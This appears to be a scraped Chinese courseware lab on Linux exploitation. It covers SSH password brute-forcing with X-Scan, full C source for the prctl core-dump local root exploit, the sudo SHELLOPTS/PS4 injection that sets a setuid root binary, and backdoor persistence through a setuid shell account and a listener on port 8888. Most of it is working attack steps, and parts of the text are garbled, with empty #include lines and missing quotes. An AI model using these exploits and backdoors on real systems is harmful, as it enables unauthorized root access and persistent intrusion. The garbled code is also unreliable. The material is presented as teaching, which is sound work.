1、SECL050011Linux漏洞利用CVE2959CVE2451汇编Linux漏洞利用SEC-L05-001.12010年4月Linux 漏洞利用技术背景Linux 操作系统是一款开源的类UNIX操作系统,有多种发行版(Distributions),如 RedHat Linux、SUSE Linux、Debian Linux等等等等。这些发行版在系统安装、包管理、桌面应用等方面各有特色,但是其操作系统内核(Kernel)均来自于一个组织(www.kernel.org),该组织负责Linux内核的更新、发布。在部分已发布的内核版本中,存在一些严重影响操作系统安全的漏洞,Hacker 或 Cra
2、cker通过利用这些漏洞达到入侵并控制目标主机的目的,Cracker 甚至会通过这些漏洞入侵有问题的主机及该主机所在网络,以达到窃取保密信息、散播蠕虫木马、发起DDOS攻击等目的。实验目的通过2种不同漏洞的利用(内核调用漏洞及系统工具漏洞),对普通帐号进行本地提权,通过实际操作增加实验者对网络安全及主机操作系统安全的认识,对希望成为合格的 SA(System Administrator & Security Administrator)的实验者进行系统漏洞类的部分基础知识介绍。实验平台攻击机(客户端):Windows2000/XP/2003目标机(服务端):Linux Server实验工具Pu
3、tty(putty.exe)及 Putty SFTP 工具(psftp.exe)SSH口令在线扫描工具X-Scan 演示后门程序 ndoor实验要点远程SSH服务在线口令暴力破解Linux本地提权简易后门制作实验步骤指导实验准备实验概要:熟悉了解相关的实验工具,掌握Putty,Putty SFTP,X-Scan等工具的使用,操作。1、下载实验中使用的工具:Putty(putty.exe)及 Putty SFTP 工具(psftp.exe)、SSH口令在线扫描工具X-Scan 、演示后门程序 ndoor【知识重点】putty.exe 是一个小巧实用的远程登录客户端,支持多种协议。psftp.ex
4、e 是Putty 工具集中的一个支持 SFTP 协议的客户端,用于通 过SFTP协议上传下载文件。x-scan是一款免费的网络扫描器,我们使用它的在线SSH口令扫描功 能。ndoor 是用于演示的一个简单后门。远程SSH服务口令暴力破解实验概要:了解使用X-Scan扫描工具,探测被攻击服务器的SSH服务,实现口令自动猜测攻击。【注释】下载及使用该工具时请关闭杀毒软件或将该工具所在路径设置为排除路径,否则可能会引起杀毒软件的误报(Symantec Antivirus)而删除该工具所需的关键文件。运行 xscan_gui.exe 启动X-Scan程序;【知识重点】X-scan是国内相当出名的扫描工
5、具,X-scan采用多线程方式对指定IP地址段(或单机)进行安全漏洞检测,支持插件功能,提供了图形界面和命令行两种操作方式,扫描内容包括:远程操作系统类型及版本,标准端口状态及端口BANNER信息,SNMP信息,CGI漏洞,IIS漏洞,RPC漏洞,SSL漏洞,SQL-SERVER、FTP-SERVER、SMTP-SERVER、POP3-SERVER、NT-SERVER弱口令用户,NT服务器NETBIOS信息、注册表信息等。扫描结果保存在/log/目录中,index_*.htm为扫描结果索引文件。点击 图标或选择菜单 设置扫描参数,弹出参数设置窗口,左侧选中检测范围选项,在右侧的“指定IP范围”
6、下的文本框中输入目标主机IP地址如图1(图1)点开左侧的全局设置,进一步设置参数,选中左侧的“扫描模块”,在右侧仅选中 SSH弱口令,如图2(图2)为了加快扫描速度,适当增加扫描线程数,点击左侧的“并发扫描”,在右侧的ListBox中将 ssh 的扫描线程数修改为 30全局设置,如图3(图3)点击左侧的“其他设置”,在右侧中仅选中“无条件扫描”,如图4(图4)点开左侧的插件设置,选中“端口相关设置”,在右侧的“待检测端口”下的文本框中输入SSH服务的默认端口号22,如图5(图5)选中左侧的“字典文件设置”,双击右侧的“SSH密码字典”及 “SSH用户名字典”,分别设置为 ssh_pass.di
7、c 及 ssh_user.dic, 最后点击“确定”关闭参数设置窗口,如图6(图6)点击 图标开始扫描,扫描完成后,如图7。(图7)扫描完成后会自动打开系统默认浏览器显示扫描结果,在 X-Scan 工具主窗口也可以看到相应结果,在左侧窗口中 “/” 前面是用户名,后面是密码;在“安全漏洞及解决方案”列中,“/” 前面是用户名,后面是密码,图8;(图8)Linux本地提权1:利用内核调用漏洞(prctl()调用)实验概要:使用 Putty 工具用普通帐号登录远程系统,利用exploit程序以达到提权目的。【知识重点】Linux Kernel的prctl()调用在处理Core Dump时存在漏洞,
8、本地攻击者可能利用此漏洞提升自己的权限。prctl()调用允许未授权进程设置PR_SET_DUMPABLE=2;因此当发生段错误时产生的core文件将被root用户拥有。本地用户可以创建恶意程序,将core文件dump到正常情况下无权写入的目录中。这可能导致拒绝服务(磁盘耗尽)或获得root权限。1. 用第一步获取的账户 tester(对此帐户进行提权) 登录远程主机,如图9所示。(图9)2. 创建编写提权代码文件,如图10所示。命令:testerLT-courseware-0007$cat ex.c _EOF(图10)3. 输入提权源代码,如图11所示代码内容如下所示:#include #i
9、nclude #include #include #include #include #include #include char *payload=nSHELL=/bin/shnPATH=/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/binn* * * * * root /bin/cp /bin/sh /tmp/sh ; chown root /tmp/sh ; chmod 4755 /tmp/sh ; rm -f /etc/cron.d/core.*n;int main() int child; struct rlimit
10、 corelimit; printf(Linux Kernel 2.6.x PRCTL Core Dump Handling - Local r00tn); printf(By: dreyer & RoMaNSoFtn); printf( 10.Jul.2006 nn); corelimit.rlim_cur = RLIM_INFINITY; corelimit.rlim_max = RLIM_INFINITY; setrlimit(RLIMIT_CORE, &corelimit); printf(* Creating Cron entryn); if ( !( child = fork()
11、) chdir(/etc/cron.d); prctl(PR_SET_DUMPABLE, 2); sleep(200); exit(1); kill(child, SIGSEGV); printf(* Sleeping for aprox. one minute (* please wait *)n); sleep(62); printf(* Running shell (remember to remove /tmp/sh when finished) .n); system(/tmp/sh -p);(图11)【知识重点】学生通过实验操作了解Linux系统中使用cat命令进行文件编写。在使用
12、cat命令进行文件编写时,文件内容输入完成后,必须在输入的最后一行后另起新行(敲Enter键),输入cat命令行中最后的重定向符号( fileName 到另一个档案)参数:-n 或 -number 由 1 开始对所有输出的行数编号-b 或 -number-nonblank 和 -n 相似,只不过对于空白行不编号-s 或 -squeeze-blank 当遇到有连续两行以上的空白行,就代换为一行的空白行-v 或 -show-nonprinting范例:cat -n textfile1 textfile2 把 textfile1 的档案内容加上行号后输入 textfile2 这个档案里cat -b
13、textfile1 textfile2 textfile3 把 textfile1 和 textfile2 的档案内容加上行号(空白行不加)之后将内容附加到 textfile3 里。gcc参数:-ansi 只支持 ANSI 标准的 C 语法。这一选项将禁止 GNU C 的某些特色, 例如 asm 或 typeof 关键词。 -c 只编译并生成目标文件。 -DMACRO 以字符串“1”定义 MACRO 宏。 -DMACRO=DEFN 以字符串“DEFN”定义 MACRO 宏。 -E 只运行 C 预编译器。 -g 生成调试信息。GNU 调试器可利用该信息。 -IDIRECTORY 指定额外的头文件
14、搜索路径DIRECTORY。 -LDIRECTORY 指定额外的函数库搜索路径DIRECTORY。 -lLIBRARY 连接时搜索指定的函数库LIBRARY。 -m486 针对 486 进行代码优化。 -o FILE 生成指定的输出文件。用在生成可执行文件时。 -O0 不进行优化处理。 -O 或 -O1 优化生成代码。 -O2 进一步优化。 -O3 比 -O2 更进一步优化,包括 inline 函数。 -shared 生成共享目标文件。通常用在建立共享库时。 -static 禁止使用共享连接。 -UMACRO 取消对 MACRO 宏的定义。 -w 不生成任何警告信息。 -Wall 生成所有警告
15、信息。【注释】图中的 “” 号是提示符(prompt),不需要输入,代码输入结束后,必须在输入的最后一行后另起新行(敲Enter键),输入cat命令行中最后的重定向符号( ex2.c ex.sh ex.c _EOF帐户提权代码如下所示:#include int main (void) setuid(0);system(“/bin/sh”);return(0);_EOF为辅助脚本ex.sh文件添加执行权限;如图19所示。命令:testLT-courseware-0007$chmod u+x ex.sh编译提权源代码文件;命令:testLT-courseware-0007$gcc -o ex ex
16、.c查看文件属性,ex.sh 脚本具有了执行权限,ex 可执行程序的属主为 test,组也为test。命令:testLT-courseware-0007$ls -al ex.shtestLT-courseware-0007$ls -al ex(图19)设置环境变量,利用sudo 的漏洞改变 ex 可执行程序的属主和组,同时为其设置suid,我们可以看到, ex 可执行程序的属主改变为 root,组也改变为root,同时设置了s位,如图20命令:testLT-courseware-0007$setenv SHELLOPTS xtracetestLT-courseware-0007$setenv
17、PS4 $(chown root:root ex;chmod u+s ex) testLT-courseware-0007$sudo ./ex.sh(图20)【注释】若执行 “sudo ./ex.sh” 后提示输入密码,则输入 test 账户的密码查看提权文件ex的文件属性,如图20所示,ex 可执行程序的属主改变为 root,组也改变为root,同时设置了s位。命令:testLT-courseware-0007$ls -al ex执行 ./ex 进行提权,我们可以看到,当前的 uid 已经是 0 了,即获得了 root shell,如图21。命令:testLT-courseware-0007
18、$./ex(图21)简易后门制作1: 添加/修改帐户,将后门程序作为默认shell实验概要:一般来说,Hacker或Cracker入侵了目标系统后,为了下次能够顺利进入,都会留下再次进入该系统的后门(backdoor)。后门的种类多种多样。 9. 在刚才获取的 root shell 权限的帐户test中,切换当前目录为/bin,命令:sh-3.00# cd /bin10. 创建后门程序,如图22所示。命令:sh-3.00# cat bd.c _EOF后门程序代码如下所示:#include int main (void) setuid(0);setgid(0);seteuid(0);setegi
19、d(0);system(“/bin/sh”);return(0);_EOF(图22)11. 图中红色框内的内容为创建后门程序,黄色框内的内容为添加一个账户,并设置该账户的home目录为/tmp,登录shell为刚才创建的后门程序,帐户添加成功后用 passwd 命令设置为其密码。12. 编译后门程序bd.c文件,并将原bd.c文件删除。命令:sh-3.00# gcc -o bd bd.c staticsh-3.00# chmod 4755 bdsh-3.00# rm -f bd.c 13. 然后添加账户或修改当前账户,并将该账户的 shell 设置为后门程序以直接获取 root shell,命
20、令:sh-3.00# /usr/sbin/useradd -d /tmp -s /bin/bd testbdsh-3.00# passwd testbd14. 使用新创建的帐户testbd进行登录测试,启动一个新的 Putty 窗口, 输入添加帐户testbd时设置的密码。15. 登录后输入 id 查看用户权限:root shell,如图23(图23)16. 已经完成帐户添加/修改简易后门程序制作,使得新添加,修改的帐户直接拥有默认的root shell权限。不需要再通过本地提权方式进行提权后在获得root shell 权限。简易后门制作2:将后门程序设置为自启动,通过网络登录实验概要:在目标
21、机器上运行演示后门程序 ndoor ,监听tcp端口 8888,用于以后直接远程端口访问。17. 保持刚才获取的 root shell 窗口打开(testbd账户登录的窗口);后面需要使用此窗口。18. 在本机启动putty sftp 服务器端软件工具,上传后门文件(ndoor.bz2),如图24:命令:psftp open 目标主机 IP【需要输入用户名以及密码】psftp lcd 切换本地目录到 ndoor.bz2 文件所在路径psftp put ndoor.bz2 (图24)【注释】若连接时弹出证书窗口,则点击yes或者确定接受证书。lcd 命令后跟的是 ndoor.bz2 文件所在的路
22、径,最好用双引号包含起来。19. 若本地路径名很长,则可用 putty sftp 工具的粘贴功能(点击窗口左上角图标)。20. 查看上传ndoor.bz2文件是否已经存在,并退出psftp。命令:psftp ls *.bz2psftp exit21. 另起一个 Putty 程序,用普通帐户test登录,22. 在test用户目录中查看ndoor.bz2文件,并解压缩刚才上传的后门程序,如图25:命令:testLT-courseware-0007 -$ls -al ndoor.bz2testLT-courseware-0007 -$bunzip2 ndoor.bz2(图25)23. 切换到 ro
23、ot shell,【使用test帐户登录提权后的putty窗口】修改后门程序的属主、组及权限,并将其移动到系统目录中,切换到ndoor文件的解压目录,如图26所示:命令:sh-3.00# cd /home/testsh-3.00# ls -al ndoor(图26)24. 修改ndoor文件属性:命令:sh-3.00# chown root:root ndoorsh-3.00# chmod 755 ndoorsh-3.00# ls -al ndoor移动ndoor文件到bin目录下面:命令:sh-3.00# mv ndoor /bin【知识重点】学生通过实验操作了解Linux系统中文件或者目录的拥有者变更,以及文件或者目录权限的设置。学生通过实验操作了解Linux系统中文件或者目录的更名、移动。chown(changeowner)功能说明:变更文件或目录的拥有者或所属群组。语法:chown-cfhRv-dereference-help-version拥有者.文件或目录.或chown-chfRv-dereference-help-version.所属群组文件或目录.或chown-cfhRv-dereference-help-reference=-version文件或目录.
copyright@ 2008-2022 冰豆网网站版权所有
经营许可证编号:鄂ICP备2022015515号-1